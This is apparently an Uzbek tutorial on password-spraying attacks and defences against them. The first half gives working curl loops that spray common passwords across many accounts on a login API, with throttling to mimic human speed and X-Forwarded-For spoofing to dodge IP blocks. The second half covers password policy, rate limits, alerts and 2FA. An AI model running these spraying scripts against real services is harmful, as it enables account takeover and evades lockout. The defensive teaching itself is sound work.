Brute force bitta hisobga ko'p parol — uni bloklash oson. Spray esa ko'p hisobga bitta parol — bloklash qiyin, chunki har bir IP bir marta uradi.

// 1. Top 3 parol — minglab hisobda ishlaydi
Parol123   Parol1   123456   Admin123   Passw0rd   Yangi123
MezonParol  P@ssw0rd Welcome1 12345678  parol2024

// 2. Limit evaziga "hamma hisob + bitta parol"
1000 hisob × 3 parol = 3000 urish
// har bir IP: 3 urish → bloklash chegarasidan (10) past

// 3. Sekundlik xavfsizlik (spray → 2FA → yo'q)
Yaratilgan 2024-01-01, "Yangi1" = 2024 + Yangi + 1 raqam

# 1) parol siyosati qanday
curl -s -X POST https://site.uz/api/auth/register -H "Content-Type: application/json" \
  -d '{"email":"t1@site.uz","password":"123456"}' | jq -c .
# qabul qilinsa — siyosat yumshoq

# 2) rate limit kaliti
grep -rniE "rateLimit|rl:|attempts|limiter" src/ | head

# 3) parol siyosati serverda
grep -rniE "password.*length|min.*password|validatePassword|PASSWORD_" src/ | head

# 1) 1000 hisobga 1 parol (tez, sekin emas)
EMAILS="sinov1@site.uz sinov2@site.uz sinov3@site.uz"
for E in $EMAILS; do
  curl -s -o /dev/null -X POST https://site.uz/api/auth/login \
    -H "Content-Type: application/json" -d "{\"email\":\"$E\",\"password\":\"Parol123\"}"
  sleep 0.3
done
# bitta IP dan 1000 urish — 3 ta parol bilan, har 3 urishda almashinadi

# 2) ro'yxatdan o'tishda parol topish (faqat o'z testingiz)
curl -s -X POST https://site.uz/api/auth/register -H "Content-Type: application/json" \
  -d '{"email":"sinov1@site.uz","password":"123456"}' | jq -c .

# 3) parollar ro'yxati (siznikidan, testing uchun)
for P in 123456 12345678 password Parol123 P@ssw0rd Admin123 Welcome1 1234567890 qwerty123 iloveyou; do
  C=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://site.uz/api/auth/login \
      -H "Content-Type: application/json" \
      -d "{\"email\":\"sinov@site.uz\",\"password\":\"$P\"}")
  echo "  $P → $C"
done

# 4) sekin va tabiiy (oddiy loginga o'xshash)
for E in $EMAILS; do
  for P in Parol123 Admin123; do
    curl -s -o /dev/null -X POST https://site.uz/api/auth/login \
      -H "Content-Type: application/json" -d "{\"email\":\"$E\",\"password\":\"$P\"}"
    sleep 2          # 2 sekund — inson tezligi
  done
done

# 5) IP o'zgartirib (chunkun aniqlanmasligi uchun)
for I in 1 2 3 4 5; do
  curl -s -o /dev/null -X POST https://site.uz/api/auth/login \
    -H "X-Forwarded-For: 10.0.0.$I" -H "Content-Type: application/json" \
    -d '{"email":"sinov'$I'@site.uz","password":"Parol123"}'
  sleep 1
done

1. Parol siyosati (serverda majburiy)

function validatePassword(pw) {{
  if (typeof pw !== 'string' || pw.length < 12) return 'Kamida 12 belgi';
  if (pw.length > 128) return 'Juda uzun';
  if (/^(.)
+$/.test(pw)) return 'Bitta belgidan iborat emas';
  if (COMMON.has(pw.toLowerCase())) return ' Juda keng tarqalgan';
  if (new Set(pw).size < 6) return 'Kamida 6 xil belgi';
  return null;
}}

// parolni kuchsiz ro'yxatga qarshi tekshirish
// (keng tarqalgan parollar API orqali, vaqt bilan keshlanadi)

2. Spray'ga qarshi ikki o'lchamli limit

// har bir IP uchun: umumiy urishlar soni
limit('login_ip',   {{ points: 20,  duration: 900 }});

// "hujum" belgisi: ko'p XATO VA ko'p email
if (failedFromManyEmails(ip) > 10) block(ip, 3600);

3. Vaqt oralig'i

delay = failed < 3 ? 0 : Math.min(2 ** failed / 2, 30);   // sekund

4. Xabardorlik

// 5+ xato → email yoki Telegram orqali ogohlantirish
if (failCount % 5 === 0) notify(user.email, failCount);
// parolni 5 marta xato → vaqtincha blok (2 daqiqa)

5. Asosiy himoya — 2FA
// parol kuchsiz bo'lsa ham 2FA spray'ni to'stiradi

• Parol siyosati serverda (12+ belgi, majburiy)
• Keng tarqalgan parollar rad etiladi
• IP limit 20/15 daqiqa (300 emas)
• Ko'p email + ko'p xato → kuchaytirilgan blok
• Xabardorlik yuboriladi (5+ xato)
• Admin hisoblarida 2FA majburiy
• Spray simulyatsiyasi o'tkazildi